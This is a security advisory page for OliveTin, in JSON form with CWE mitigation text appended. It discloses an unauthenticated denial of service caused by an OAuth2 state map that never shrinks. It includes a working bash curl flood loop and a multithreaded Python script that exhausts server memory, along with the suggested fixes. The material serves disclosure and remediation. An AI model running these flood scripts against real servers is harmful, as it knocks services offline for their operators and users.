CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20251024001301-45f9c18bc3ee"
            },
            {
              "fixed": "0.0.0-20260708075951-ec114e95d297"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:24:53Z",
    "nvd_published_at": "2026-07-29T21:17:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.\n\nThis is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access \u2014 the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.\n\n## Affected Versions\n\n- All versions with OAuth2 support, including \u003e= 3000.10.3 (which patched CVE-2026-28789)\n\n## Details\n\nIn `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:\n\n```go\ntype OAuth2Handler struct {\n    cfg                 *config.Config\n    mu                  sync.RWMutex\n    registeredStates    map[string]*oauth2State  // NEVER cleaned up\n    registeredProviders map[string]*oauth2.Config\n}\n```\n\nThe `HandleOAuthLogin` handler adds a new state on every request:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {\n    state, _ := randString(16)  // 24-byte base64 string\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state] = \u0026oauth2State{\n        providerConfig: provider,\n        providerName:   providerName,\n        Username:       \"\",\n    }\n    h.mu.Unlock()\n    // ... redirect to OAuth2 provider\n}\n```\n\nThe `HandleOAuthCallback` handler updates existing states but never removes them:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes\n    h.registeredStates[state].Usergroup = ...\n    h.mu.Unlock()\n}\n```\n\nThere is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.\n\n### Memory Impact Per State\n\nEach map entry consists of:\n- Key: ~24 bytes (base64 string)\n- Value: `*oauth2State` struct containing:\n  - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)\n  - `providerName string` (~8-16 bytes)\n  - `Username string` (empty initially)\n  - `Usergroup string` (empty initially)\n- Go map overhead: ~100-150 bytes per entry\n\nEstimated: **~200 bytes per state entry**\n\nAt 1 million states \u2248 **200 MB** of memory consumed.\nAt 10 million states \u2248 **2 GB** of memory consumed.\n\n### Attack Vector\n\nThe `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least one OAuth2 provider configured\n- Network access to `/oauth/login`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"INFO\"\ncheckForUpdates: false\n\nauthOAuth2RedirectUrl: \"http://127.0.0.1:1337/oauth/callback\"\nauthOAuth2Providers:\n  github:\n    clientId: \"test-client-id\"\n    clientSecret: \"test-client-secret\"\n\nactions:\n  - title: noop\n    shell: echo \"ok\"\n```\n\n### Step 1: Baseline health check\n\n```bash\ncurl -i http://127.0.0.1:1337/readyz\n# Expected: 200 OK\n\ncurl -I \"http://127.0.0.1:1337/oauth/login?provider=github\"\n# Expected: 302 Found (redirect to GitHub)\n```\n\n### Step 2: Flood with state-creation requests\n\n```bash\n# Each request creates a new map entry that is never cleaned up\nfor i in $(seq 1 100000); do\n  curl -s -o /dev/null \"http://127.0.0.1:1337/oauth/login?provider=github\" \u0026\n  # Throttle to avoid connection limits\n  if (( i % 500 == 0 )); then\n    wait\n    echo \"Sent $i requests...\"\n  fi\ndone\nwait\necho \"Flood complete\"\n```\n\n### Step 3: Python PoC for sustained memory exhaustion\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: OAuth2 State Memory Exhaustion DoS\n\nDistinct from CVE-2026-28789 (concurrent map crash).\nThis exploits unbounded growth of the registeredStates map.\n\"\"\"\n\nimport requests\nimport time\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://127.0.0.1:1337\"\nPROVIDER = \"github\"\nWORKERS = 50\nTOTAL_REQUESTS = 500000\nBATCH_SIZE = 1000\n\ndef create_state(_):\n    \"\"\"Send /oauth/login to create a new state entry.\"\"\"\n    try:\n        requests.get(\n            f\"{TARGET}/oauth/login?provider={PROVIDER}\",\n            allow_redirects=False,\n            timeout=5\n        )\n        return True\n    except Exception:\n        return False\n\ndef check_health():\n    \"\"\"Check if the server is still responsive.\"\"\"\n    try:\n        r = requests.get(f\"{TARGET}/readyz\", timeout=5)\n        return r.status_code == 200\n    except Exception:\n        return False\n\nprint(f\"[*] Target: {TARGET}\")\nprint(f\"[*] Provider: {PROVIDER}\")\nprint(f\"[*] Total requests: {TOTAL_REQUESTS}\")\nprint(f\"[*] Workers: {WORKERS}\")\nprint()\n\nif not check_health():\n    print(\"[!] Server not reachable\")\n    sys.exit(1)\n\nstart_time = time.time()\ntotal_created = 0\n\nwith ThreadPoolExecutor(max_workers=WORKERS) as executor:\n    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):\n        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)\n        results = list(executor.map(create_state, range(batch_start, batch_end)))\n        total_created += sum(results)\n\n        elapsed = time.time() - start_time\n        rate = total_created / elapsed if elapsed \u003e 0 else 0\n        est_memory = total_created * 200 / 1024 / 1024  # MB\n\n        print(f\"  States created: {total_created:\u003e8} | \"\n              f\"Rate: {rate:\u003e6.0f}/s | \"\n              f\"Est. memory: {est_memory:\u003e6.1f} MB | \"\n              f\"Healthy: {check_health()}\")\n\n        if not check_health():\n            print(f\"\\n[!] Server became unresponsive after {total_created} states!\")\n            print(f\"[!] Estimated memory consumed: {est_memory:.1f} MB\")\n            break\n\nprint(f\"\\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s\")\n```\n\n### Step 4: Verify memory growth (Docker)\n\n```bash\ndocker stats olivetin-instance --no-stream\n# Observe MEM USAGE growing continuously during the attack\n```\n\n## Impact\n\n- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured\n- **Attack requirements:** Unauthenticated network access to `/oauth/login`\n- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation\n- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops \u2014 a restart is required\n- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.\n\n## Suggested Fix\n\n1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)\n2. Add a maximum state count (e.g., 10,000) with LRU eviction\n3. Clean up states after successful callback\n4. Add periodic garbage collection for expired states",
  "id": "GHSA-xpxj-f2fm-rqch",
  "modified": "2026-07-30T14:24:53Z",
  "published": "2026-07-30T14:24:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xpxj-f2fm-rqch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/ec114e95d297b806c3ca0c37bc139b3c9c517b3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list